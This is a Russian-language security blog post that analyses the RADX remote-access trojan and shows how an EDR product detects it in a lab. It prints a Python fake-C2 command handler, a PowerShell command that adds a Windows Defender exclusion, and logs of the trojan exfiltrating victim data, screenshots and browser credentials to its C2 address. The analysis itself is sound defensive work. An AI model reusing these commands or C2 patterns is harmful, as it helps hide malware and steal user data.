Тот самый RAT-троян за 200 рублей: как защититься от RADX
Всем привет! Меня зовут Валерий Слезкинцев, в Positive Technologies я руковожу направлением реагирования на конечных точках в отделе обнаружения вредоносного ПО в PT Expert Security Center (PT ESC). Наша команда занимается исследованиями MaxPatrol EDR в части выявления и реагирования на вредоносную активность на хостах. Мы пишем корреляционные правила для покрытия новых техник злоумышленников, анализируем существующие технологии и подходы к обнаружению и реагированию на угрозы. На основе этих данных пишем proof of concept модулей для последующего внедрения в продукт. Кроме того, наша группа мониторит трендовые атаки и воспроизводит их на лабораторных стендах. Это нужно, чтобы мы были уверены, что MaxPatrol EDR обнаруживает актуальные угрозы и позволяет защитить от них наших клиентов. Так, недавно мы заинтересовались новой серией кибератак с использованием трояна удаленного доступа под названием RADX. Об этом вы могли читать в различных статьях, например на SecurityLab. И конечно же, нам стало интересно, как MaxPatrol EDR обнаруживает этот троян и реагирует на него. Что мы в итоге узнали, расскажем и покажем в этой статье.
Initial Access
Атака начинается с фишингового письма.
Во вложении есть архив. Мы, имитируя невнимательного и неискушенного пользователя, сохраняем его на диск и распаковываем. Внутри оказывается файл «скрин оплаты за сервер.pdf.exe». Вот как он выглядит в File Explorer при скрытых расширениях.
Статический анализ показал, что это 32-битное консольное приложение, написанное на C/C++.
В коде мы заметили известные приемы обхода средств защиты:
API hashing для скрытия подозрительных импортов;
шифрование next-stage payload;
многократный вызов RegCloseKey (для затруднения динамического анализа).
Программа запускает легитимный процесс C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
с флагом CREATE_SUSPENDED» и внедряет в него вредоносный код через WriteProcessMemory, SetThreadContext и ResumeThread.
Про еще один примечательный RAT, который пока что атакует только китайскоговорящих пользователей, но может проявиться в любом уголке планеты, можно почитать в другой статье. Наши вирусные аналитики описали, как действуют его загрузчики, шеллкоды и основной модуль.
Next Stage
Следующая стадия выполняется в контексте легитимного AppLaunch.exe.
Это приложение .NET, которое устанавливает соединение с C2-сервером и ожидает от него дальнейших команд. Кроме того, оно умеет похищать пользовательские данные, выполнять команды в cmd.exe
, открывать ссылки в браузере, загружать и запускать файлы в зараженной системе, получать информацию о компьютере жертвы и скрытно делать скриншоты. Закрепление в системе происходит с помощью Task Scheduler.
Для того чтобы более детально продемонстрировать возможности трояна RADX, мой коллега, ведущий эксперт отдела обнаружения вредоносного ПО Павел Максютин, проэмулировал процесс отправки команд с сервера злоумышленников. Для этого он использовал утилиту FakeNet-NG. В обработчике запросов от RADX мы поддержали следующие команды:
cmd
— выполнение команды в cmd.exe (wmic process call create calc.exe
);stream_start, stream_stop
— отправка скриншотов;upload_file
— загрузка файла на хост и его запуск (батник с запуском калькулятора);open_link
— открытие ссылки в браузере;backup_info
— сбор файлов с зараженной машины и их отправка на сервер.
Для того чтобы на тестовой машине работал EDR-агент, добавили его в ProcessBlackList в конфиге FakeNet-NG.
Код обработчика запросов RADX под катом.
import socket
import json
import base64
user_uuid = "7dbc8678-05bc-48da-8959-92300520e879"
default_user_response = {
"user": {
"uuid": user_uuid,
"city": "",
"country": "",
"ip": "",
"postal": "",
"processor": "",
"ram": 0,
"registered_at": "",
"video_card": "",
"windows_version": ""
},
"data": "",
"filename": "",
"message": ""
}
STATE = 0
def send_response(req, message="", data="", filename=""):
response = default_user_response
response["message"] = message
response["data"] = data
response["filename"] = filename
response = json.dumps(response).encode()
req.send_response(200)
req.send_header('Content-Length', len(response))
req.send_header('content-type', 'application/json; charset=utf-8')
req.end_headers()
req.wfile.write(response)
print(b'sending response: ', response)
def HandleRequest(req, method, post_data=None):
global STATE
print('C2 call:', method, req.path)
if req.path == '/add_user':
send_response(req)
STATE = 0
elif req.path == f'/check/{user_uuid}':
if STATE == 0:
send_response(req, "cmd", "wmic process call create calc.exe")
STATE = 1
elif STATE == 1:
send_response(req, "stream_start")
STATE = 2
elif STATE == 2:
send_response(req, "stream_stop")
STATE = 3
elif STATE == 3:
raw = base64.b64encode(b'calc.exe').decode()
send_response(req, "upload_file", str(raw), "mycalc.bat")
STATE = 4
elif STATE == 4:
send_response(req, "open_link", "http://google.com")
STATE = 5
elif STATE == 5:
send_response(req, "backup_info")
STATE = 6
else:
send_response(req)
Запускаем FakeNet-NG, запускаем EDR-агент, запускаем RADX.
Сразу видим событие, предупреждающее о запуске файла с двойным расширением.
Далее происходит любопытная вещь. Процесс пытается копировать свой image в %LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\
. В случае первого запуска такой директории еще нет, и возникает исключение DirectoryNotFoundException. В обработчике этого исключения путь к несуществующему файлу в %LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af
добавляется в исключения Defender, также создается задача в Task Scheduler на запуск этого файла. Причем в случае инжекта в LOCALAPPDATA%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af
будет скопирован легитимный AppLaunch.exe. Закрепление в системе у RADX явно не продумано.
Итак, задача в Task Scheduler.
В MaxPatrol EDR видим соответствующее событие.
А вот Powershell-команда для добавления AppLaunch.exe в исключения Windows Defender.
powershell -Command Add-MpPreference -ExclusionPath "%localappdata%\Packages\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\AppLaunch.exe"
Также получаем событие об обнаружении вредоносной активности.
Тем временем устанавливается соединение с C2.
После этого RADX пытается получить IP-адрес жертвы через ipinfo.io/json.
02/16/24 05:43:43 PM [ HTTPListener80] GET /json HTTP/1.1
02/16/24 05:43:43 PM [ HTTPListener80] Host: ipinfo.io
02/16/24 05:43:43 PM [ HTTPListener80] Connection: Keep-Alive
02/16/24 05:43:43 PM [ HTTPListener80]
Передает на сервер информацию о жертве, получая в ответ свой id.
2/16/24 05:43:45 PM [ HTTPListener1337] POST /add_user HTTP/1.1
02/16/24 05:43:45 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 05:43:45 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:45 PM [ HTTPListener1337] Content-Length: 227
02/16/24 05:43:45 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 05:43:45 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:45 PM [ HTTPListener1337]
02/16/24 05:43:45 PM [ HTTPListener1337]
02/16/24 05:43:45 PM [ HTTPListener1337] b' {"ip":"45.88.97.66","country":"DE","postal":"60311","city":"Frankfurt am Main","windows_version":"Microsoft Windows NT 6.3.9600.0","ram":33222656,"video_card":"VMware SVGA 3D","processor":"12th Gen Intel(R) Core(TM) i7-12700H"}'
Далее RADX отправляет check/
02/16/24 05:43:47 PM [ HTTPListener1337] POST /check/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:47 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:47 PM [ HTTPListener1337] Content-Length: 0
02/16/24 05:43:47 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:47 PM [ HTTPListener1337]
02/16/24 05:43:47 PM [ HTTPListener1337]
02/16/24 05:43:47 PM [ HTTPListener1337] b' '
Наш сервер начинает отдавать команды и принимать ответы.
02/16/24 05:43:50 PM [ HTTPListener1337] POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 05:43:50 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 05:43:50 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:50 PM [ HTTPListener1337] Content-Length: 470
02/16/24 05:43:50 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 05:43:50 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:50 PM [ HTTPListener1337]
02/16/24 05:43:50 PM [ HTTPListener1337]
02/16/24 05:43:50 PM [ HTTPListener1337] b' {"cmd":"TWljcm9zb2Z0IFdpbmRvd3MgW1ZlcnNpb24gMTAuMC4xOTA0NS4zOTMwXQ0KKGMpIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC4NCg0KYzpcVXNlcnNcdnNcdGVzdFxyYWR4PndtaWMgcHJvY2VzcyBjYWxsIGNyZWF0ZSBjYWxjLmV4ZQ0KRXhlY3V0aW5nIChXaW4zMl9Qcm9jZXNzKS0+Q3JlYXRlKCkNDQpNZXRob2QgZXhlY3V0aW9uIHN1Y2Nlc3NmdWwuDQ0KT3V0IFBhcmFtZXRlcnM6DQppbnN0YW5jZSBvZiBfX1BBUkFNRVRFUlMNCnsNCglQcm9jZXNzSWQgPSA5Njg0Ow0KCVJldHVyblZhbHVlID0gMDsNCn07DQoNCmM6XFVzZXJzXHZzXHRlc3RccmFkeD5leGl0DQoKDQo="}'
Снимаем Base64.
Microsoft Windows [Version 10.0.19045.3930]
(c) Microsoft Corporation. All rights reserved.
c:\Users\vs\test\radx>wmic process call create calc.exe
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 9684;
ReturnValue = 0;
};
c:\Users\vs\test\radx>exit
В MaxPatrol EDR видим следующее событие.
Далее RADX отправляет сообщение о начале передачи скриншотов.
02/16/24 05:43:55 PM [ HTTPListener1337] GET /answer_stream_start/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:55 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:55 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:55 PM [ HTTPListener1337]
02/16/24 05:43:55 PM [ HTTPListener1337]
И в следующих нескольких запросах отправляет пачку скриншотов.
02/16/24 05:43:57 PM [ HTTPListener1337] POST /upload_screenshot/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:43:57 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 05:43:57 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:43:57 PM [ HTTPListener1337] Content-Length: 290181
02/16/24 05:43:57 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 05:43:57 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:43:57 PM [ HTTPListener1337]
02/16/24 05:43:57 PM [ HTTPListener1337]
02/16/24 05:43:57 PM [ HTTPListener1337] b' {"screenshot":"/9j/4AAQSkZJ … }
После получения команды на прекращение передачи скриншотов отправляет ответ.
02/16/24 05:44:00 PM [ HTTPListener1337] GET /answer_stream_stop/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 05:44:00 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 05:44:00 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 05:44:00 PM [ HTTPListener1337]
02/16/24 05:44:00 PM [ HTTPListener1337]
Далее следует ответ на команду upload_file
.
02/16/24 07:22:29 PM [ HTTPListener1337] Storing HTTP POST headers and data to http_20240216_192229.txt.
02/16/24 07:22:31 PM [ HTTPListener1337] POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:31 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 07:22:31 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 07:22:31 PM [ HTTPListener1337] Content-Length: 130
02/16/24 07:22:31 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 07:22:31 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 07:22:31 PM [ HTTPListener1337]
02/16/24 07:22:31 PM [ HTTPListener1337]
02/16/24 07:22:31 PM [ HTTPListener1337] b' {"cmd":"0KTQsNC50LsgYzpcVXNlcnNcdnNcdGVzdFxyYWR4XG15Y2FsYy5iYXQg0YPRgdC/0LXRiNC90L4g0L7RgtC60YDRi9GCINC90LAg0LrQu9C40LXQvdGC0LUu"}'
Снимаем Base64.
Файл c:\Users\vs\test\radx\mycalc.bat успешно открыт на клиенте.
В MaxPatrol EDR видим следующее срабатывание.
Далее видим сообщение об успешно открытой ссылке.
02/16/24 07:22:36 PM [ HTTPListener1337] POST /7dbc8678-05bc-48da-8959-92300520e879/cmd HTTP/1.1
02/16/24 07:22:36 PM [ HTTPListener1337] Content-Type: application/json; charset=utf-8
02/16/24 07:22:36 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 07:22:36 PM [ HTTPListener1337] Content-Length: 94
02/16/24 07:22:36 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 07:22:36 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 07:22:36 PM [ HTTPListener1337]
02/16/24 07:22:36 PM [ HTTPListener1337]
02/16/24 07:22:36 PM [ HTTPListener1337] b' {"cmd":"0KHRgdGL0LvQutCwINGD0YHQv9C10YjQvdC+INC+0YLQutGA0YvRgtCwOiBodHRwOi8vZ29vZ2xlLmNvbQ=="}'
Снимаем Base64.
Ссылка успешно открыта: http://google.com
В MaxPatrol EDR видим следующую цепочку запусков.
После этого происходит отправка gzip-архива в ответ на команду backup_info
.
02/16/24 07:22:47 PM [ HTTPListener1337] POST /end-point-c-sharp/7dbc8678-05bc-48da-8959-92300520e879 HTTP/1.1
02/16/24 07:22:47 PM [ HTTPListener1337] Content-Encoding: gzip
02/16/24 07:22:47 PM [ HTTPListener1337] Host: 193.106.95.60:1337
02/16/24 07:22:47 PM [ HTTPListener1337] Content-Length: 68700
02/16/24 07:22:47 PM [ HTTPListener1337] Expect: 100-continue
02/16/24 07:22:47 PM [ HTTPListener1337] Connection: Keep-Alive
02/16/24 07:22:47 PM [ HTTPListener1337]
02/16/24 07:22:47 PM [ HTTPListener1337]
02/16/24 07:22:47 PM [ HTTPListener1337] b' \x1f\x8b\x08\x00 …
В этом архиве лежит json следующего содержания.
{
"additionalInfo": {
"ip": "45.88.97.66",
"country": "DE",
"postal": "60311",
"city": "Frankfurt am Main"
},
"DesktopFiles": [
{
"FilePath": "C:\\Users\\vs\\Desktop\\available_packages.txt",
"FileExtension": ".txt",
"FileContentBase64": "",
"FileName": "available_packages.txt"
},
{
"FilePath": "C:\\Users\\vs\\Desktop\\failed_packages.txt",
"FileExtension": ".txt",
"FileContentBase64": "",
"FileName": "failed_packages.txt"
}
],
"Discord": [],
"Wallets": [],
"Extension": [],
"Telegram": [],
"dataBrowser": {
"Microsoft Edge": {
"localstate": "",
"profiles": [
{
"ProfileName": "DEFAULT",
"Cookies": "",
"Logins": ""
}
]
},
"Chrome": {
"localstate": "",
"profiles": [
{
"ProfileName": "Default",
"Cookies": "",
"Logins": ""
}
]
}
}
}
Мы попросили коллег из команды обнаружения вредоносного ПО в сетевом трафике проверить PCAP, собранный с помощью FakeNet-NG, нашими внутренними инструментами для анализа сетевого трафика и получили детект. Это означает, что система поведенческого анализа сетевого трафика Positive Technologies — PT Network Attack Discovery — также обнаружит сетевой трафик RADX.
Рекомендации по настройке реагирования
Для эффективного реагирования пользователю необходимо добавить в политику MaxPatrol EDR следующие модули:
завершение процессов;
блокировка по IP-адресу;
отправка файлов в PT Sandbox.
На событие Malware_Trojan_Win32_Generic_a
рекомендуется настроить действие «Завершить процесс», так как это событие с высокой долей вероятности является вредоносным.
Событие Double_File_Extension_Masquerading
также является подозрительным. Имеет смысл отправлять такие файлы на проверку в песочницу, например в PT Sandbox.
Вот результат поведенческого анализа PT Sandbox для файла «скрин оплаты за сервер.pdf.exe».
Троян
Обнаруженное опасное ПО
Троян (Trojan.Win32.Inject.a)
Троян (Trojan.Win32.Generic.a)
Троян (Trojan.Win32.Generic.f)
Подозрительное поведение
10/10 Create.Process.Inject.ResumeThread
10/10 Write.Process.Inject.SetThreadContext (MITRE ATT&CK ID: T1055)
10/10 Create.Process.WinDef.AddExclusion (MITRE ATT&CK ID: T1562)
10/10 Create.Process.PowerShell.LongExecution (MITRE ATT&CK ID: T1059)
5/10 Create.Process.DotNet.RestrictionsBypass
5/10 Create.Process.PowerShell.CommandExecution
2/10 Read.Window.Handle.Enumeration (MITRE ATT&CK ID: T1010)
Также в качестве меры реагирования рекомендуется в модуль блокировки по IP-адресу добавить адреса C2.
Что будет дальше и как с этим жить
Как обычно, это самые важные и риторические вопросы для человека, но мы-то привыкли все проверять на практике и действовать проактивно. Для обеспечения безопасности клиентов важно не только обнаруживать вредоносную активность, но и уметь ее предотвращать. Сейчас мы работаем над модулями, которые позволят предотвратить выполнение вредоносного процесса и не дать злоумышленнику провести атаку в принципе. Предотвращение может быть выполнено как на этапе запуска процесса «скрин оплаты за сервер.pdf.exe» путем проверки его хеш-суммы по базе IoC, так и на этапе инжекта в легитимный AppLaunch.exe. А на случай использования ранее неизвестного образца ВПО, например эксплуатирующего уязвимость нулевого дня для выполнения вредоносного кода, мы готовим ML-решение, позволяющее выявлять аномальное поведение. Следите за обновлениями MaxPatrol EDR, будем рады делиться с вами результатами его развития.